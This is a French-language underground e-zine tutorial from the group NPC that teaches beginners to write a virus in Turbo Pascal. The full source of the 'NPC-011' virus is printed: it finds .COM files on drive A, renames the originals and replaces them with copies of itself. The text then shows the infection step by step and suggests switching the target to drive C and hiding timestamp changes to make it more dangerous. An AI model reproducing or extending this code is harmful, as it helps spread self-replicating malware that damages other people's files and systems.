ÉÍÍÍÍÍ» Ú¶ N Ç¿ ÚÄ¿ ÄÂÄ ÚÄÂÂÄÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ¿ ÚÄ¿ ÄÄÄ´º P ºÃÄÄÄ¿³ ³ ÃÄÄÄÄ¿ ³ ³³ ÀÄÄÅÄÄ¿ ÀÄÅ¿ ÚÅÄÄÄÄ´1³ À¶ C ÇÙ ÀÅÄÙ ³ ÀÄÁÄÁÙ ³ ³ ÀÙ ÀÙ ÀÄÙ ÈÍÍÍÍͼ ÀÄÄÄÄÄÄÄÙ ÀÄÄÙ DR FRANKENSTEIN, WHERE ARE YOU? Turbo Pascal et les bibittes --=Virus pour débutant=-- Virus NPC-011 par Blitzkreig & Nancy Reagan Vous en bavez, n'est-ce pas, les mecs? Vous regardez les virus files de L.O.S. ou Cybernetic Violence et vous demandez quel génie peut bien concevoir toutes ces choses magnifiques... Sachez que n'importe qui peut écrire un virus, n'importe qui n'ayant pas peur de TRAVAILLER, s'entend. Si tu es le dernier de ta classe en maths ou si la dernière fois que tu as lu un manuel les dinosaures étaient encore en voie d'extinction, passe ton chemin, stranger. T'as probablement pas assez de couilles et de volonté pour t'appliquer à ne pas faire de bêtises et tu vas te ridiculiser avec ton virus plein de bugs (s'il fonctionne jamais!). Pas de recette miracle pour les paresseux, même avec Virus Creator Lab et ses semblables: que du travail, du travail et du travail. Commence par le langage, le reste viendra tout seul. Turbo Pascal, anyone? Avant de vous montrer comment effacer un FAT, loader un trojan dans un GIF porno autoexec, ou la manière la plus efficace de crasher ton board warez favori, on pourrait d'abord scruter un virus fort simple, soulever le capot de la bête et analyser le mécanisme. Here it goes... PRéCAUTIONS A PRENDRE: AUCUNES! Nous allons, étape par étape, construire un virus en Turbo Pascal ( version 3.0 et plus), mais un virus sans danger, pour que vous puissiez le tester sur votre machine. Nous le répétons: l'exécution de ce virus est absolument sans risque. La propagation ne touchera pas les fichiers .EXE ou .BAT, uniquement les .COM... Mieux encore, le virus, lorsqu'il s'attaquera à un .COM, en fera une copie non-infectée, que vous pourrez récupérer plus tard. Et comme si ce n'était pas assez, une autre mesure de sécurité a été prise: le virus ne pourra lire que le drive A de votre système. Autrement dit, faites-vous une disquette avec 4 ou 5 .COM, mettez-la dans le drive A, et regardez comment le virus réagit. CATéGORIE DU VIRUS: LOGIQUE! Comme si nous ne l'avions pas assez dit (vous comprenez vite, mais il faut vous expliquer longtemps!), ce programme ne contient aucune tâche de manipulation, il se contentera de manifester sa présence par le message "NPC made in Québec". Le programme qui suit vous permettra de construire un virus "logique", qui simulera le comportement d'un virus sans réécriture, et en lançant l'exécution, lorsque cela sera possible (nous verrons les conditions plus tard), du programme original depuis la copie du virus. Le programme va tenter d'infecter TOUS les .COM en A, et affichera "La job est faite, chef!" lorsque tous les .COM seront infectés. Pourquoi juste les .COM? Parce que ce type de programme a une structure identique en mémoire et sur le disque, et parce que la version 3.0 de Turbo Pascal permet de générer des fichiers .COM, et c'est justement ainsi que vous devriez appeller votre virus une fois assemblé: VIRUS.COM. PRINCIPES GéNéRAUX DU VIRUS NPC-011 - Sauvegarde du contenu de la constante "nomprog" dans la variable "b". - Recherche sur le disque A du premier fichier .COM ne contenant pas la marque "NPC made in Québec". - Le programme que va infecter le virus sera sauvé et renommé en remplaçant le premier caractère de son nom par le symbole "$". - Le nom du programme renommé sera écrit en mémoire vive à l'emplacement absolu de la constante "nomprog", préalablement sauvegardée. - Création d'un nouveau fichier du nom du programme à infecter. - Recopiage du programme en mémoire vive dans le fichier créé. - Exécution du programme dont le nom figure dans la variable "b" (on va aussi voir çà tout-à-l'heure) A CONDITION que le fichier existe sur le disque ET que ce programme ait été généré par Turbo Pascal 3.0 (ou la version que vous utilisez). Vous nous suivez jusqu'ici? C'est bien! Sinon, les choses vont s'éclaircir au fur et à mesure que nous avancerons. Le programme NPC-011 repose sur deux principes généraux: 1) La déclaration d'un tableau d'octets "deb" situé à l'adresse absolue: CSEG:$100. Cette adresse correspond au début du code de programme en mémoire (CSEG contient l'adresse du segment de code et tous les programmes .COM débutent à l'adresse offset $100). Ainsi le tableau "deb" est identique au code du virus en mémoire, il suffit de recopier ce tableau sur un programme pour recopier le code du virus. 2) On écrit directement en mémoire à l'adresse "CSEG:OFS(nomprog) + 1", le nom renommé du programme en cours de manipulation. A quoi ca sert, me demandez-vous: tenez-vous bien! Lorsque le programme du virus sera lancé, et après qu'il ait accompli sa "manipulation", il enchaŒnera sur l'exécution du programme dont le nom figure dans la variable "b", simulant ainsi un fonctionnement impeccable! ENCORE QUELQUES MOTS Le listing qui suit pourrait sembler, aux yeux des néophytes, un contresens: on programme les commandes d'infection du virus avant les commandes qui lui disent de chercher une victime. C'est tout à fait normal: il faut "mettre le virus au monde", et lui indiquer au cours de sa création ce qu'est exactement sa mission dans la vie. Une fois qu'il sait ce qu'il doit accomplir, là, tu lui dit: va te trouver une victime et amuse-toi! Ca a l'air simple, comme ca, mais c'est le bout qui demande parfois le plus de subtilité, car la programmation exige bien souvent de procéder A L'ENVERS de ce qui, autrement, nous semblerait logique. Pour les durs de comprenure, illustrons ce qui précède: Supposons que tu engages un tueur à gages, justement, pour éliminer ton professeur de chimie. Tu vas probablement lui dire "Entre dans l'école, entre dans la classe, et descend le professeur de chimie, ensuite ressort". Si, par contre, tu "programmais" un tueur à gages, il faudrait plutôt que tu lui dises: "Ta mission est de tuer le professeur de chimie, tu dois pour ce faire utiliser ce pistolet, voici comment il fonctionne. Maintenant, entre dans l'école, entre dans la classe, et remplis la mission pour laquelle je t'ai programmé". C'est du moins la manière dont nous procédons, Nancy Reagan et moi-même. Enfin... C'est un peu succint comme explication mais j'espère que vous avez tous compris (ou alors retournez lire vos Tintins...). Naturellement, la programmation d'un virus est généralement encore plus sophistiquée que celà, ce qui me ramène à mon premier argument: étudier, étudier, étudier... C'est maintenant la passe la plus plate (pour nous) de cet article: le listing du programme. Mais y faut c'qui faut!! LISTING DU PROGRAMME PROGRAM virus; TYPE chaine = STRING[15]; CONST n = 13002; {longueur du virus compilé} nomprog : STRING[15] = " "; marque : STRING[31] = "NPC made in Québec"; VAR deb : ARRAY [0..15000] OF BYTE ABSOLUTE CSEG:$100; b : chaine; fic : FILE; i : INTEGER; signature : STRING[24]; PROCEDURE fin; {En gros, toute cette procédure exécute le programme $..} VAR a: STRING[24]; BEGIN{fin} CLRSCR; {$1-} {Supprime le contrôle des entrées/sorties} ASSIGN(fic,b); RESET(fic,1); IF IORESULT=0 {Si il n'y a pas d'erreurs d'entrées/sorties} THEN BEGIN BLOCKREAD(fic,deb,44); a := ""; FOR i:=21 TO 44 DO a:= a + CHR(deb[i]); {Ce qui veut dire que si le programme $.. est un programme Turbo Pascal 3.0, l'exécuter} IF a = signature THEN EXECUTE(fic) END; HALT{interruption du programme} END; {fin} PROCEDURE infecte(a:chaine); (Cette procédure crée le nouveau programme de virus} VAR ficmanip : FILE; i : INTEGER; BEGIN{Ce programme lance l'infection, le bout que vous attendiez tous!} {Maintenant, le nom du programme en cours d'infection est recopié dans le programme de virus avec le caractère "$"} FOR i := LENGTH(a)+1 TO 15 DO a := a + " "; FOR i :=1 TO 15 DO MEM[CSEG:OFS(nomprog)+i] := ORD(COPY(a,i,1)); MEM[CSEG:OFS(nomprog)+4] := ORD("$"); {Le tableau deb est copié sous le nom du fichier manipulé} ASSIGN(ficmanip,a); REWRITE(ficmanip); RESET(ficmanip,1); {Ouverture du programme à infecter. Yé!} BLOCKWRITE(ficmanip,deb,n); {Ecriture dans le fichier} CLOSE(ficmanip); {Fermeture du fichier manipulé} fin {5 petites lignes de commandes, et le tour est joué! Mais ne vous réjouissez pas trop vite, on a pas terminé!} END; {Infecte!} PROCEDURE recherche; {Cette procédure recherche les fichiers COM sur l'unité A} TYPE dtarec = RECORD tab : ARRAY[1..21] OF BYTE; attribut : BYTE; heure,date,taillehaute,taillebasse : INTEGER; nom : ARRAY[1..13] OF CHAR END; registres = RECORD CASE BYTE OF 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : INTEGER); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : BYTE) END; VAR dta : dtarec; chemin : STRING[20]; longchemin : BYTE ABSOLUTE chemin; regis : registres; i : BYTE; PROCEDURE renomme; {Cette procédure vérifie que le fichier sélectionné (la victime) n'est pas déjà infecté et renomme le fichier à manipuler en remplacant le premier caractère du nom du programme par un "$"} VAR nom,nouvnom : chaine; fic : FILE; i,k : INTEGER; a : STRING[32]; b : BOOLEAN; BEGIN{renomme} b := TRUE; chemin := dta.nom; i := POS(*0,chemin); IF i >0 THEN DELETE(chemin,i,255); nom := "A:\" + chemin; IF (COPY(nom,4,1) <> "$") THEN BEGIN ASSIGN(fic,nom); RESET(fic,1); k := OFS(marque); {Au cas ou le programme aurait une taille plus grande ou égale à celle du virus} IF FILESIZE(fic) >= n THEN BEGIN {Lecture de la zone de marque du virus, pour voir si le programme est infecté} BLOCKREAD(fic,deb,k+31); a := ""; FOR i := 1 TO 31 DO a := a + CHR(MEM[CSEG:k+i]); IF a = marque THEN b:= FALSE END; IF b THEN {Si le fichier n'est pas infecté} BEGIN {Renommer le fichier à manipuler} nouvnom := "A:\$"+COPY(nom,5,length(nom)-4); RENAME(fic,nouvnom); infecte(nom) {Appel de la routine d'infection. Yé!} END END END; {renomme} BEGIN {recherche} {Initialisation de l'adresse de la DTA} regis.AH := $1A; regis.DS := SEG(dta); regis.DX := OFS(dta); MSDOS(regis); {Recherche du premier fichier .COM du disque A} chemin := "A:\*.COM"; chemin[SUCC(longchemin)]:=*0; regis.AH := $4E; regis.DS := SEG(chemin); regis.DX := OFS[chemin(1)]; regis.CX := $FF; MSDOS(regis); IF regis.AX <> $12 {S'il existe un fichier .COM sur A:} THEN REPEAT renomme; {On recherche le fichier .COM suivant pour l'infecter...} regis.AH := $4F; regis.DS := SEG(dta); regis.DX := OFS(dta); MSDOS(regis); UNTIL regis.AX = $12 {jusqu'à ce qu'ils portent tous la signature du virus} END; {recherche} BEGIN {virus} CLRSCR; GOTOXY(25,12); WRITELN(marque); {C'est le copywrite de Turbo Pascal 3.0, rendons à César ce qui appartient à César...} signature := *49+*57+*56+*53+*32+*66+*79+*82+*76+*65+*78+*68+ *32+*73+*110+*99+*2+*4+*0+*177+*87+*0+*60+*51; {Le nom du programme est lu en mémoire pour pouvoir être exécuté à la fin de la procédure} b:=''; FOR i := OFS(nomprog)+1 TO OFS(nomprog) +15 DO b:=b+(CHR(MEM[CSEG:i])); recherche; CLRSCR; GOTOXY(20,12); WRITELN("La job est faite chef!"); GOTOXY(20,13); WRITELN("Ton repertoire A est lessive mon mec!"); REPEAT UNTIL KEYPRESSED; {Le texte va apparaitre aussi longtemps que tu n'auras pas pressé une clé} fin END. {Et voilà l'travail!} Ne continuez plus à écrire, là, c'est terminé! Bon, laissez-nous souffler un peu. C'est vraiment assommant de taper tout ca... PORTRAIT DES ACTIVITéS Ce que vous devriez normalement voir, si vous faites un dir de A à chaque étape, c'est à peu près ceci (exemple): 1) AVANT L'EXéCUTION DE VIRUS.COM A: APPEND COM 1742 K README COM 543 K POUBELLE BAT 4555 K FUCKME HLP 800 K 2) APR S L'EXéCUTION DE VIRUS.COM SUR LE PREMIER FICHIER TROUVé A: $PPEND COM 1742 K README COM 543 K APPEND COM 13002 K POUBELLE BAT 4555 K FUCKME HLP 800 K (Remarquez que le append.com est passé de 1742 octets à 13002 octets. Pourquoi, selon vous? Parce que le virus s'y cache et augmente sa masse, voyons!. Le fichier original append.com est toujours là, seulement, il s'appelle $append.com maintenant. Mais il est intact, rassurez-vous!) 3) APR S L'EXéCUTION DU PREMIER PROGRAMME CONTAMINé A: $PPEND COM 1742 K $EADME COM 543 K APPEND COM 13002 K README COM 13002 K POUBELLE BAT 4555 K FUCKME HLP 800 K (Le virus a exécuté append.com, et part maintenant à la chasse après un autre .COM. Si un programme .COM était écrit en Turbo Pascal, nous l'avons dit, le virus l'exécuterait, et si le programme avait une fonction visible (ex: un crack TSR), vous le verriez agir à l'écran -le crack s'installerait- ) NOTES DIVERSES Nous espérons que vous avez compris quelque chose à ce petit cours de "virusologie" en accéléré. Vous êtes loin d'être sortis du bois, cependant! Mais, pour les plus observateurs d'entre vous, vous avez surement noté quelques endroits, ici et là dans cette routine, qui, une fois légèrement modifiées, pourraient rendre ce virus autrement plus dangereux... Il y a effectivement des améliorations, ma foi fort simples, qui pourraient être apportées, et pour n'en citer que quelques unes: -changer le drive de travail du programme de A à C (vous êtes capables de trouver ca seul!). -Sauvegarder les dates et heures de création des programmes originaux, puis les restituer dans le programme modifié par le virus (mais où placer la routine? Guess!). D'autres suggestions? Laissez-nous un message! NPC-011: VIRUS FOR THE MASSES!